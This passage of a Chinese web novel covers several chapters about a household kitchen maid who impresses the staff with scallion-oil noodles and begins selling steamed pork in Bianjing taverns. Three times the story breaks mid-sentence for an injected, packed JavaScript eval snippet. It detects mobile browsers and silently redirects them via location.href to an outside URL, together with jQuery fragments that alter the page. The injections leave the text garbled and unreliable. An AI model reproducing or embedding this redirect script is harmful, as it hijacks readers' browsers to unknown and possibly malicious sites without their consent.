好不容易孙女是个有出息的,董婆子这才紧赶慢赶的给她谋出路,大房和二房各有弊端,董婆子都没看上,就瞄着了周大娘子房里。 要说老太太周大娘子最疼谁,自然是二郎君,哪怕大朗君占了个长,可二郎君才是从周大娘子肚子里爬出来的。 不过她们下人选地方,最看重的还是主子好不好相与,吴娘子因为没有生养,可是盯着长得稍微标志一些的丫鬟,生怕二郎君被勾了去。 大房何娘子出身不高,不过周大娘子看不上,处处为难,日子也不好过。 可正院日子就好过了? 赵嬷嬷一个人住着,想着想着也就闭了眼睡去,她孤家寡人的,一人吃饱全家不愁,凡事不放在心上。 府里头没有睡的可还有不少,被赵嬷嬷念叨的何娘子就没有睡。 何娘子娘家门楣不高,带过来的嫁妆也不多,不过大朗君一心扑在官场上,家里的小娘才一两个,平日里就是去了勾栏这些地方,也只是听曲儿。 加上下面一辈只有昌哥儿这一个孩子,何娘子平日里很是怡然自得,就算上面的婆婆不待见,妯娌在旁边虎视眈眈的也无妨。 不过顺遂日子过久了,周大娘子就给她找了这么一个不痛快,让她来操办七夕宴会。 何娘子发愁的叹了一口气,她哪里办过这些,光想想就头疼。 她最怕应付来往的那些大娘子,看人先看出身。还有和他们府这边不对付的西府,宫里头的娘娘少不得也得打发人来送些东西…… “妈妈,去看看大厨房那边可有什么吃的?不拘甜的、咸的,只管拿来才是。” 何娘子决定借吃销忧。 8. 第八章 平安也翻来覆去的睡不着,不过他睡不着是因为饿的。 谁能想到晌午的那一口猪骨汤,让他惦记到这个时候,就连晚食也只是胡乱的糊弄了一口,根本就没有吃饱。 那边徐柏早就睡下了,不知道梦到了什么,还在嘿嘿的笑着。 平安看不顺眼,翻了个身背对着徐柏,巴不得天早些亮了,他也好去小厨房那边看看。 黄婆子也是一样的想法,她肚子的馋虫后来被勾了出来,躺下也觉得难受,只能又吃了一口冷硬的炊饼。 当时就该拉住冯大娘的,怎生就觉得小厨房的做不出来什么好吃食? 一想到这个,黄婆子更是睡不着了,盼着赶紧天亮了才好。 林杏月这一晚上睡的很踏实,早上起来就催着林金兰去倒夜香。 林金兰翻了个身没用动弹,嘟囔了一句,“不是才轮到我,怎么又该我了。” “咱们三个一人一天,可不就是该你了,你这时候不去倒夜香,一会儿可就人多了。” 听了这个话,林金兰才睁开睡眼惺忪的双眼,打了个大大的哈欠,去看帘子旁边的冯大娘。 冯大娘还在呼呼的睡着觉,林金兰想到昨天发生的事情,麻利的起来穿好鞋,站在不远处故意把冯大娘给叫醒。 等着冯大娘还没有反应过来的时候,林金兰快速的拿着夜香壶往外跑,一溜烟的便不见了身影。 “这死妮子!”冯大娘气的破口大骂,“鸡都还没有打鸣,把老娘叫起来做甚!” 林杏月已经见怪不怪,洗漱完去外面倒水的时候,就见张婶娘拿着东西过来,看到林杏月就笑着招手。 “昨儿个做好了我一直在锅上放着,你早上去小厨房太早,不吃点东西怎么行,要是不想吃这肉,把那点心拿出来吃上两块也能垫垫肚子。” 张婶娘就是这样,比冯大娘还像是她亲娘,再看旁边的冯大娘,一边打哈欠一边和张婶娘在那里抱怨。 “大姐,你眼里只有我家月姐儿不成?怎么也不见你来让我吃上两块点心,早上被我家大姐儿给叫醒,可真是气煞我了。” 林杏月忍住想翻白眼的心,摇摇头,倒了壶茶就着点心吃了两口才走。 小厨房里依旧热热闹闹的,不知道是不是昨儿个晚上也明白过来白天发生的事情,松姐儿今天的脸色要更难看一些,耷拉着脸在那里切腌渍菜。 赵嬷嬷当没看到,让林杏月把面揉好,一会儿做索饼。 林杏月一边干活一边竖着耳朵听旁边的人说闲话,这也是她每日喜欢上工的原因,小厨房爱说闲话的人可不少。 今儿个说的是大厨房那边要做不少的巧果,何娘子要的太多又太急,都没有下差的时候。 “到时候他们实在做不出来,保不齐就来咱们这里找人去。” 大家一听,都唉声叹气起来,大厨房的人一直觉得比他们高人一等,他们要受累了,自然没有他们还能休息的时候。 林杏月听了心里也是一沉,她这刚打算好出去卖东西试一试,要是去了大厨房那边帮忙,可不就没有时间了。 大厨房的人没过来,林杏月先等来了黄婆子。 她是一早就起来,胡乱梳了头发,穿着个半新不旧的褙子,在小厨房门口往里面张望,看到林杏月眼睛就亮,叫了一声,“月姐儿。” 林杏月听到声音走过来,看到是黄婆子很是奇怪。 “大娘,你找我有事?” “是这样,昨儿个我不是说闻到了那香味,勾的我不行,你这里可有?” 林杏月想着那粉蒸肉是要拿去外头卖的,这时候张婶娘怕都走了,只能摇摇头。 黄婆子着急,眼珠子转了转,“要不你随便给我做些什么吃食,我给你钱,好歹让我解解馋。” 说着,黄婆子就去怀里把钱拿了出来,叮叮当当有五六个铜板。 她今儿个可是出了血本。 松姐儿一直在旁边竖着耳朵听,见有人来找林杏月做吃食,惊讶的嘴巴都张大了。 心里面也觉得不得劲的很,明明都是一块儿来小厨房上工的,怎么偏就林杏月有人来找? 林杏月和赵嬷嬷说了一声,快手快脚地收了钱,就开始动起手来。 大厨房那边经常有人私下里给丫鬟婆子做席面,收的钱可不少,他们小厨房的人这还是头一次。 赵嬷嬷没说什么,其他人也就没多嘴,有想看热闹的,也有想着让小厨房的人扬眉吐气的。 从前他们小厨房的人不是没有生过给别人做吃食,挣私房钱的法子,可就是没人来找。 就算不要钱,白给,那些个眼高手低的丫鬟婆子也觉得他们做的不好吃,上不得台面。 呸! 林杏月见其他人都没意见,把索饼揉好,就开始给黄婆子做吃食。 黄婆子在一旁眼巴巴的看着,脖子伸的老长,见林杏月拿了一把胡葱过来,洗干净之后就切成葱白和葱叶两部分,锅里放了芝麻油和猪油之后,就开始下葱白。 其他人也不知道林杏月是要做什么,以往她都是跟着赵嬷嬷后面,还从来没有单独露过一手。 就连赵嬷嬷也分了一只眼睛看着。 林杏月把那葱白先炸到微黄,再把葱叶给下了进去,等葱叶也变得微黄了,这才把葱段捞出来。 锅里剩下的油就是葱油。 水开之后,林杏月把揉的细细的索饼下了锅,那索饼细的,像是银丝一样,放到水里就散开了。 黄婆子还从来没见过这样细的索饼,她可是亲眼看着林杏月揉出来的,心里的那点担心又消散了不少。 她的钱算是不白花了,刚才还怕就这么打了水漂。 索饼煮好之后,就捞出来浸入井水中,葱油里面加了一些豉汁、饴糖、姜末等调味。 葱油汁淋在已经过了水的索饼上,林杏月又去腌咸菜的罐子里切了一些嫩芥菜。 她给黄婆子端到跟前,擦了擦手说,“大娘,这是葱油面,你且尝一尝。” 黄婆子这时候已经忍不住了,刚才的香味飘的哪里都是,她的肚子又腹鸣如鼓,让人恨不得立时就吃起来。 其他揉面的、切菜的婆子看了全程,不知道是谁咕咚一声咽了口水,馋的是口水都快流出来。 松姐儿也闻到了那香味,不过她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230510|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴硬,不想让林杏月得意了去,就说那葱油面黑乎乎的,“不定味道多难吃。” 这么一说,董婆子她们也觉得有理起来。 林杏月可还没有出师,在小厨房干了几年而已,做出来的能有什么好吃的。 不过就是闻着味道香而已…… 黄婆子已经拿了竹筷子,挑起来一大块,胡乱的吹了两口气就往嘴里送。 第一口下去,葱香浓烈,接着是带着几分焦香和芝麻猪油混合在一起的油脂香,索饼丝滑又带着韧性,谷面的香味在牙齿间迸发出来,让人欲罢不能。 黄婆子嘴巴吃的却越来越快,狼吞虎咽,只恨没有早点过来找林杏月。 旁边董婆子还想着尝上一尝,可惜黄婆子吃的太快了,根本就不给她插嘴的机会。 那边赵嬷嬷却吃上了,林杏月特地多做了一些,就是为了给赵嬷嬷尝尝味道。 赵嬷嬷做了这么多年的厨娘,人向来严苛,这次尝完,难得的说了句不错。 其他人都一脸震惊,就连小云也眼睛亮亮地看着林杏月。 这也太厉害了些,还能得到赵婆子的夸奖。 松姐儿人又泛酸,这次她不敢大声说话,只在旁边小声的嘟囔了几句。 就在这时候,平安找过来了小厨房。 平安是天一亮就起来了,今儿个不该他当值,起来就往外走。 徐柏看他这样只觉得稀奇,问了一声,“你要去做什么,今儿个不是我轮值?” “有点事,出去一下。”平安没好意思说要去找林杏月,怕徐柏知道了笑话他。 徐柏虽然觉得奇怪,但是没有再继续问下去,平安便顺利的到了小厨房门口。 一群人都围在黄婆子的身边,根本没注意到平安过来,偏平安也不知道林杏月长什么模样,只知道她是悍姐儿的妹妹。 但这样叫出来悍姐儿这个名头,他怕林杏月知道了生气,再不理他了,便一直遮遮掩掩的打听。 平安毕竟是大老爷身边的人,虽然只是一个跑腿的小厮,可说不得以后就能成了管事什么的,引入注目的很。 他过来不是吃饭,只在那几个差不多年岁的丫鬟身上扫了扫,不确定松姐儿和林杏月到底谁是。 平安曾远远的见过林金兰一面,想着她蛾眉细长眼,人又叫悍姐儿,妹妹应该也是个厉害的,估摸着就是旁边耷拉着脸做吃食的姑娘。 对,就是这么个厉害劲儿,上工当差也不能心甘情愿了。 平安觉得自己找对了人,上前就去给松姐儿作揖行礼,松姐儿虽然不认识平安,但看他装扮就知道是个得脸的。 平安从进了小厨房开始,就闻到屋子中那飘的哪里都是的葱油香,不知道吞咽了几次口水。 “做吃食?”松姐儿一听,人立刻就得意起来,斜着眼往林杏月那边看了好几眼。 林杏月有黄婆子来找,她这边可是有正院里的人来找。 说起来,还是她更厉害一些。 “你要吃什么,我现下就给你做了来。” 平安吸了吸鼻子,问松姐儿,“不知道这个味道是什么,能不能做出来?” 9. 第九章 “你要吃葱油面?”松姐儿刚才就听林杏月说了这个名字,一时之间就脱口而出。 平安拍掌应声,“就是这个葱油面,我就在这里等着,吃了再回。” 心里还感慨着,徐柏的这个姐姐虽然看起来咋咋呼呼,还挺上道。 松姐儿人都傻在那里,不敢去看林杏月。 明明是想着让林杏月好看的,谁知道平安要吃的竟然是葱油面。 松姐儿看了看平安,又去看了一眼赵嬷嬷,咬牙道,“行,我这就去做。” 刚才林杏月做的时候,她可是看了全程,不就是照着做出来,有什么难? 那边林杏月也听到了,她倒是不意外松姐儿会答应下来,只是松姐儿那手艺实在不敢恭维。 这平安莫不是有什么毛病?看着像是专门来找松姐儿的。 赵嬷嬷还是过来问了林杏月一句,怕她心里不乐意。 要是不乐意,哪怕平安不能得罪,她也会过去说。 “没事,不过一个索饼。” 其他人纷纷倒吸一口,林杏月朝她们笑了笑,“平日嬷嬷们可没少教我如何做吃食。” 说的几个婆子倒是不好意思起来,都在那边小声嘀咕,说起来松姐儿的不是。 松姐儿似乎是听到了,脸一下子就烧红起来,可平安这时候已经坐到外面等着,她也不得不做。 平安没和黄婆子坐一块儿,只是恰好和黄婆子隔着一个桌子对着坐,能看到黄婆子呼噜呼噜地吃着。 越看,平安越等的着急,恨不得立时就吃上。 可等了一会儿,平安闻着小厨房的味道却不太对,怎生有一股糊糊的味道出来? 他伸着脖子看了看,就连吃的八九分饱的黄婆子也往后看了看。 亏的她没有找错人,看来这个叫松姐儿的,手艺不怎么好。 松姐儿从葱段糊了就开始手忙脚乱,她也不知道哪里出了错,明明看林杏月就是这样做的。 越着急,她出错的越多,炸葱花的油量有些过多,往里面倒豉汁的时候,她就摸不准倒多少。 林杏月往里面放没放饴糖,放了多少来着? 松姐儿这才发现,她方才看的也不是很清楚,一上手就都不会了。 最后,松姐儿只得端着那一碗焦黑的面出去。 “坏了坏了。”刚才还看热闹的婆子,这时候也不看了,赶紧走过去去拦。 “你端这个出去,可是要得罪人的。” “就是,咱们小厨房好不容易有人来找,你这样把名声又给毁了!” 松姐儿正好顺势就不打算出去,平安在外头却以为好了,已经屁颠颠的过来。 “这就是那葱油面?” 平安搓了搓手,忽略刚才闻到的异样,决定端过去尝一尝。 万一只是看着颜色不好,实际上味道却不赖呢。 其他人都不敢出声,在那边你推我,我推你,最后只好回头去看林杏月和赵嬷嬷。 赵嬷嬷想了想,就往前走两步去拦平安,话说的委婉,平安却不知道是真饿了,还是没听懂,已经挑了一筷子吃起来。 入了嘴,想象中的那个香味没出现,倒是一嘴的苦涩。 “哎呦,这葱油面怎么这个味道!” 赵嬷嬷见平安吃了一口就皱眉,筷子也放下了,瞪了一眼松姐儿就上前,“说来松姐儿来小厨房时日还短,平日还总去正院她姐姐那边,手艺也只说得过去。” 平安后知后觉,想到徐柏说的,悍姐儿好像没有在正院当差,是个粗使丫鬟来着。 怎么又冒出来一个在正院当差的姐姐? 他把那碗放下,也顾不得其他许多,问赵嬷嬷,“她姐姐不是那个悍姐儿?” 赵嬷嬷绷着的脸松动了一下,指了林杏月说,“她才是悍姐儿的妹妹——月姐儿,你找错人了。” 平安震惊了,那边不敢露头的松姐儿也惊呆了,脸由刚才的红转成了白。 好像整个人都被扒下来皮,周围的人都在看她的笑话。 黄婆子吃完一抹嘴,过来探头凑热闹,很嫌弃的瞥了一眼松姐儿的葱油面,对平安说,“你让月姐儿来做,她做的好吃,要不是我肚子饱了,还要再吃。” 平安带着几分不好意思地看向林杏月,眼睛里都是期待。 “月姐儿,真是对不住,我是徐柏一个屋子的,昨儿个尝了一口你做的那汤饼,实在想的慌才过来。” 谁知道竟然闹了这么大的一个乌龙。 那边赵嬷嬷悄悄走到松姐儿身边,让她把钱拿出来,“给了月姐儿,再给人小哥儿做一碗,也能把事情圆过去。” 松姐儿不愿意,磨磨蹭蹭的就是不拿出来。 赵嬷嬷板了脸,其他婆子也在旁边催着松姐儿,她这才不情愿地掏出来。 随即人哇的一声就哭了,擦着眼泪往外跑去。 林杏月正在和平安说话,见松姐儿捂了脸出去,也扭了脸去看。 平安立时觉得有些对不住松姐儿,往后张望了几眼,又掏出来钱,“原就是我认错了,回头嬷嬷把这个钱给那个姐儿。” 他这样,倒叫赵嬷嬷不知道说什么了,推辞了一番也就收下。 林杏月把钱拿了,又做了一碗葱油面,这次给小厨房其他几个丫鬟婆子也都做了一些。 平安捧着葱油面的时候,脸上明显松了一口气,顾不得说什么,端着就去外头吃。 厨房里,丫鬟婆子们都端着一碗葱油面,有那等不及的,做好了就挑了一筷子吃。 也有那稍微斯文一些的,慢慢的把索饼吹凉,这才细细品味起来。 别说,林杏月的手艺是真没话说,不管吃的快的还是吃的慢的,都露出了同一个表情。 香!太香了! 外头坐着的平安也差不多是一样的表情,恨不得把碗也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230511|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔干净。 他打量着回头徐柏知道了,肯定是要笑话他的,原本还觉得心里不得劲,但这时候只觉得值。 “月姐儿,你这个手艺是真没话说,回头我叫上徐柏,去咱家里认认门,以后有个什么事情,你只管来找我。” 说完,又作了揖才走。 松姐儿在外面哭了一会儿,也不敢回家去,最后还是晃到了小厨房。 她来的不巧,最后一碗葱油面被董婆子给吃了——她已经吃了两碗,还想吃,特地和别的婆子抢了过来。 松姐儿本来就心情不好,进来小厨房也垂着头,后来发现没人注意到她,都在那边抢葱油面。 她心里不服输的劲儿又上来,忍着羞往前凑了凑,结果才发现葱油面一点也不剩下。 “合着就我没尝到什么味儿!” 松姐儿的眼泪一下子就下来了。 赵嬷嬷看到她回来,就过来掏了钱出来,把平安的意思说了。 松姐儿一边抽抽搭搭,一边把钱接过去,“本来就是,又不是我要上赶着去做的,是他认错了人,偏让我丢了脸。” 这个样子,就是赵嬷嬷也不好说什么。 松姐儿拿了钱之后气焰就足了,气呼呼的去找林杏月,憋了半天,说出来一句,“你是不是故意的,怎生就没有我的葱油面,我都不知道那是什么味道!” 说着说着,眼圈又红了。 小云在一旁都惊呆了,嘴巴张的大大的,看着平日里厉害的松姐儿哭啼啼。 林杏月也没想到松姐儿竟然是个这样子的脾气,见她哭只好拿出来汗巾子,让她赶紧擦一擦。 “下次吧,今儿个厨房都没有葱了。” “不行,下次谁知道你还做不做给我吃。” 林杏月似乎看到了另一个林金兰站在她面前是,忍不住叹气,“做。” “你们听说没?小厨房那边好像有个什么好吃的葱油面,连大老爷身边的平安都过去吃了。” “小厨房做的?”另一个婆子嗤了一声,“就小厨房做出来的那些东西,皮有城墙那么厚,平安能过去吃,可莫要说胡话。” 小厨房的胡嫂子恰好听了,她就回了句,“你这话就偏了几分,我们小厨房怎么了?我们厨房的月姐儿,手艺那不是吹,当时那个叫平安的,巴巴的等着呢!” “你别唬我,咱们在小厨房吃了多久,什么味儿嘴巴最清楚,你就是说的再天花乱坠也没用。” 胡嫂子说不过这个婆子,回头就去小厨房说了这事儿。 “赵嬷嬷,咱们好不容易有了月姐儿这样的人物,那葱油面是真真好吃,给咱们小厨房长了许多脸,她们还一个个的都不信,让人忒生气了。” “可不就是,还有人让我撒泡尿照一照,我呸!等那葱油面做出来,馋死他们!” 赵嬷嬷听了思索起来,打算等着林杏月一会儿回来了,和她商量一番。 10. 第十章 林杏月是下了差就回了家,张婶娘已经等着她了,递给她一杯晾的正好的水。 她还不知道小厨房的事情,只是担心林杏月当差累了,“要不你在家里歇着,我自己出去转一转。” 那杯水温度正正好,张婶娘定然热了兑凉水,凉了兑热水才这样的,冯大娘就从来没有这么细心过。 林杏月咕咚咕咚喝完,叫了声婶娘,“我没事,今儿个咱们一起去看看,也不知道这买卖能不能做起来呢,我娘那性子你也知道。” 张婶娘就笑了笑,“要是能挣了钱,你娘就是下刀山上火海,也能给你从园子里把东西带回来的。” 林杏月听了也笑起来。 两个人挽着手出了门,走到汴河两岸的时候,就看到好些人在不远处取水,排的队伍长长的。 “这么早就要取水了,离七夕不是还有几天。” 林杏月看了过去,就看到旁边取水的队伍钱还有卖木槿叶的。 这时候的传统是要在七夕当天用木槿叶洗头,以前张婶娘也特地来这里,给她和林金兰打了水回去洗,只说是求织女保佑。 “等回头我也过来打水。”张婶娘已经摩拳擦掌起来,“再给你们买些巧果回去。” 沿河两边的铺子是越来越热闹,各种巧果、笑靥儿、果实将军都摆了出来,还有手巧的小贩,把那瓜果都雕刻成莲花葡萄的样子摆出来,煞是好看。 “比咱们府里看着还要热闹。” “咱们府里热闹咱们是看不着的,只有辛苦的份儿。” 张婶娘是之前就有了从府里出来的想头,因着她一直没有进过府里伺候人,她的想法才能这样。 像在府里当差的丫鬟婆子,不夸大的说,那是真没有想出来的。 尤其主子跟前得力的丫鬟,比普通人家的小娘子过得还好,出来做甚? 两个人提着篮子直接去了正店①,汴京各种酒楼茶楼多的是,有的盖了三四层楼那么高,张灯结彩的,最多的甚至能一下子容纳上千人。 张婶娘找了一家挂着酒旗和杈子的正店进去,门口就站着两个酒博士,看到她们来也不诧异,一边往里面带着她们 ,一边问她们要喝大酒还是小酒。 时下女娘们也是能来酒楼的,并没有什么不能踏足或者赶人的事情发生。 一楼散座还有不少的赶趁人②在唱曲儿奏乐,还有在投壶猜枚的,间或碰到一两个送索唤的闲汉,步履匆匆的路过,好不热闹。 林杏月打量了一圈才收回来视线,酒博士在旁边也不催促,等着她们看完才开口介绍,“咱们家大酒小酒都是物美价廉,种类也多的很,像咱们女娘喝的桂花酒、蜜酒、蔷薇露都很不错。” 林杏月很好奇,问酒博士,“咱们这里最便宜的小酒多少钱?” “一升小酒也就八个大钱,喝的人也不少。” 虽然小酒酿造的时间不长,但这价格属实不贵,林杏月都动了心想买回去尝一尝。 张婶娘在一旁看出来了,拉了拉林杏月的袖子,扬着笑脸对酒博士说,“烦您给介绍了,咱们过来是想问问,收不收吃食?我们自己做的,味道很是不错。” 酒博士有些为难,他往掌柜的地方看了看,“咱们这里有规定,不许外人造卖。” 张婶娘和林杏月对视了一眼,都没有为难酒博士。 这酒博士可能也觉得有些不好意思,送她们出来的时候指了指不远处的和丰楼,“他们家时常有小摊贩进去售卖,你们可以去那边问一问。” 两个人再三谢过这个酒博士,去和丰楼的时候还说这个酒博士是个热心人。 果然就像是这个酒博士说得,和丰楼比起来刚才的三元楼,要更加热闹一些,里面有卖果子团子饴糖和各种水果干货的,也有卖布匹梳子这种东西,看的人眼花缭乱。 张婶娘一看这个样子,也不去找酒博士再谈什么价格,直接把篮子上盖的花布打开,叫卖起来。 林杏月本来还以为有她能发挥的地方,来了这里才发现叫卖的方式可太多了,有拿着各种响器叫卖的,像卖果子的就拿着拨浪鼓,也有编成顺口溜叫卖的。 张婶娘一开始只喊着荷叶粉蒸肉,后来听了其他人怎么叫卖,也学了去,“粉蒸肉,粉蒸肉,荷叶做的粉蒸肉,肉香粉香荷叶香,只此一家,再无分店……” 林杏月在旁边听着就竖了大拇指,张婶娘更得意了,叫卖的声音越发大了起来。 别说,还真有喝酒的客人叫住张婶娘,对荷叶粉蒸肉到底是什么很是好奇,等看到荷叶里面裹着的粉蒸肉,眼睛就瞪大了。 “这还真是没有见过,娘子如何卖?” “官人,咱们这用的是上等五花肉和米粉,三十个大钱一份。” 旁边一同来喝酒的张老丈人听到是猪肉,啧啧了两声,“我当是什么,不过瞧着稀罕,用的却是那猪肉,忒上不了台面了。” 许官人也犹豫起来,“怎么不用羊肉?要是里面放了羊肉,咱就买来尝一尝了。” 张婶娘哪里肯让到嘴得生意溜走,赶紧说,“虽然不是羊肉,猪肉味儿也好吃的很,要不然咱们也不能用了猪肉来,官人、老丈,你们不信且尝一尝。” 张婶娘边说边麻利的打开一个荷叶包,从里面取出来两块分别递了过去,还朝林杏月使了使眼色,生怕她觉得心疼。 这许官人率先尝了尝,那张老丈却没有什么兴趣的样子,继续吃着桌子上胡桃。 张婶娘有些紧张的看着这许官人,许官人只吃了一小口尝味道,等米粉和肉香在嘴里绽放开来的时候,许官人眼睛中满是不可思议。 张老丈一直低着头吃胡桃,见许官人一直没有说话,就在旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230512|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边开口,“就说不好吃,一会儿咱们去外头吃王婆家的炙肉……” 他话说到一半就被许官人的动作给打断,许官人把自己面前的粉蒸肉吃完之后,又夹了张老丈跟前的那块肉,放进嘴里大口的咀嚼起来。 许官人见张老丈惊讶的看过来,他这才露了一个不好意思的笑。 “这味道真是一绝。”许官人说完就看向张婶娘,“这位娘子,我要你两个,五十文钱怎么样?” 张婶娘说三十文钱一个本来就留着别人还价的余地,外头羊肉价格也才六十个大钱左右,猪肉就更便宜了,一斤也才三十个大钱,她们这一小个粉蒸肉里可没多少猪肉。 张老丈见许官人一下子买了两个,惊疑不定的问,“当真好吃?五十个大钱两个也不便宜,咱们去吃炙肉也能吃上不少。” “真好吃。” 许官人大方地拆开一荷叶粉蒸肉,让张老丈人尝一尝味道,剩下的那一个他打算带回去给自家娘子尝一尝。 张婶娘收了钱就让林杏月放好,拉着她继续叫卖,还让林杏月别心疼那拆开的粉蒸肉,“咱们名声还没有打出去,总得让人尝尝味道才好卖出去。” 林杏月靠在张婶娘肩膀上咯咯笑起来,“婶娘,没想到你竟然这般厉害,买卖做的这样轻车熟路。” 张婶娘先是挺了挺身子,轻拍了一下林杏月,然后没忍住也跟着笑了出来,“不过就是脸皮厚罢了,喊出来也没那么难。” 两个人继续往前走了几步,听到后面有人喊小娘子,一开始不知道是喊她们的,两个人脚步不停。 直到听到喊“粉蒸肉”娘子,张婶娘这才呀了一声,扭头看过去。 方才说猪肉不好吃地张老丈人气喘吁吁的追了出来,见了她们停下来就说,“你们两个娘子,走的也忒快了些,我喊了你们老半天。” 旁边有不少喝酒吃果子的人都看了过来,张老丈人也不卖关子,只说让她们也拿两个粉蒸肉来,“味道是不错,总吃羊肉也腻歪了。” 张老丈人嘴硬,但身体很诚实,伸着脖子去看张婶娘的篮子,挑了两个粉蒸肉出来。 “这是什么东西?”旁边有一小娘子好奇的凑过来,“闻着怪香嘞。” “是粉蒸肉。”张婶娘赶紧介绍,让小娘子尝了尝,“吃起来也雅致得很,荷叶味道特别浓郁。” “味道是不错。”小娘子问了价格,也觉得有些贵,和张婶娘搞起价儿来。 “今儿个咱们是第一天开张,小娘子长得又这般标致,我就按二十五个钱一个。”说完又压低了声音说,“他们都是买两个才这个价。” 小娘子很是受用,高高兴兴的掏了钱来买。 她们总共没有做多少个粉蒸肉,不过一会儿的工夫,张婶娘就都卖了去,林杏月只在旁边乖巧地收钱,高兴的唇角一直翘着。 11. 第十一章 回去的时候,林杏月就说了要分给张婶娘一半挣的钱,“说起来,小厨房那边也忙的没工夫,以后还是少不得麻烦婶娘。” “这有什么值当的,你们都去当差了,天天家里只有我和玉姐儿,出来还能透透气,可别说钱不钱的事情。” 林杏月不肯,她是打算做长久买卖的,没得让张婶娘一直做着白工。 “如今就看你娘那边,能不能多拿些荷叶回来了。” 挣了钱,张婶娘比之前劲头更大,就怕冯大娘那边出了差错。 被张婶娘念叨的冯大娘今儿个去了园子那边,就像是打了鸡血一样,一去了就要去摘荷叶。 元婆子有一肚子的闲话要跟冯大娘说,巴巴的跟了过来,嫌在外头说话没有屋子里痛快,抱怨道,“你说你这两天怎地这样踊跃做活,昨儿个问你你也不说。” 她思量着冯大娘是不是摘了荷叶回去泡茶,又觉得不像,冯大娘可不是那种能喝得惯荷叶茶的,非得是小酒大酒才觉得好喝。 元婆子眼珠子转了转,一拍大腿,“我知道了,你这莫不是想上进了?” 冯大娘翻了个白眼,“你且起开,咱都这样的岁数了,上进什么?” 好不容易打发了元婆子,冯大娘擦了擦额头上出的汗,瞧着日头已经老高了,忙找了船,急慌忙的去湖里面。 虽然林杏月没说,冯大娘也是能感觉出来她对自个不信任的,加上那粉蒸肉实在好吃,多摘一些回去不仅能挣钱,还能再吃上那粉蒸肉,她这才上了心,划船的时候都不像之前那样浑水摸鱼。 林金兰今儿个来扫地的时候也是心神不宁的,频频往花园子那边张望,惦记着冯大娘有没有好好的摘些东西回来。 林金兰虽然不在花园子那边打扫,但觉得花园子的好东西可多了,就是冯大娘一贯的犯懒,只想着天天说闲话掷骰子。 见她这样的心神不宁,那边的朱雨来了兴致,踮着脚看了几眼之后就问,“你看什么呢,莫不是也给梁妈妈送了钱?” 林金兰不觉得自己多聪慧,可这朱雨更傻,就算想要进正院子里头,谁像她这样大喇喇的说出来。 朱雨没等来林金兰的话,只得来她一个白眼,心气就不太顺,扫地的时候胡乱扫着没有章程,弄的哪里都是灰尘。 “你做什么?”林金兰瞥了一眼地上,语气都冲了起来。 那边扫地的是两个才从外头买回来的丫鬟,和她们这种家生子不一样,在府里没底气的很,受了气也不敢说话。 朱雨这么瞎闹一通,把灰尘落叶都扫到她们那边了,那两个丫鬟也不敢吭声。 林金兰看不下去,她本来不想搭理朱雨的,可她这也太过分了些,都是粗使丫鬟,干的这个活计不轻松,没得给人添麻烦。 林金兰是个话多,嘴上不饶人的,这次却直接上了手,把朱雨扯到一边,笤帚也扔到了地上。 朱雨吓了一大跳,“你想干甚!” “你干什么把灰尘都弄到别人那里去,规矩怎么学的?” “你还教起我规矩了?”朱雨觉得冷笑,林金兰才是最没规矩的那一个,刚要反手打过去,想起来林金兰的那个外号。 悍姐儿之所以是悍姐儿,就是她小时候总上树打人。 徐勇从小就长得人高马大的,也被林金兰按在地上打过好几次,后街巷长大的小孩儿就没有不知道的。 朱雨收了手,跺跺脚,把刚才扫过去的灰尘给扫了回来。 虽然朱雨那样子还是不服气,林金兰也只是哼了一声,没顾得上再和朱雨闹别扭。 就在刚才她和朱雨置气的时候,路过的两个婆子在那里嘀咕的笑话,林金兰可是竖着耳朵都听见了。 什么小厨房,做饭好的姐儿,除了林杏月,林金兰再也想不到别的。 她三步并作两步,过去拦了一下那两个婆子,“刚才我听见,你们说那小厨房如何了?” 两个婆子对视了一眼,觉得莫名其妙,不知道冲出来的林金兰是谁。 不过两个人倒是回了林金兰的话,“是刚才听小厨房的人在那边吹嘘,说什么做出来好吃的葱油面,连大老爷身边的平安都特地过去吃。” 林金兰还来不及高兴,就听那婆子说,“真是胡咧咧,小厨房的人做饭不行,吹牛皮倒是一个个的挺厉害,还大老爷身边的人,怎么不说大娘子身边的人?” “就是,小厨房的人我看连菜刀都拿不稳……” 话说到一半,就见林金兰突然拿了扫帚开始扫地,不知道怎么回事,那灰尘都到了她们两个人身上。 “你这个人。” 一个婆子皱眉,瞪了林金兰几眼,林金兰一点儿也不怕,笤帚都差点碰到婆子的衣裳上。 其中一个婆子不愿意生事,把另一个着急上头的婆子拉走了。 一旁的朱雨看了全程,眼神幽怨的看着林杏月,等她回来就问,“你放才作甚,怎么不说你规矩是怎么学的了?” 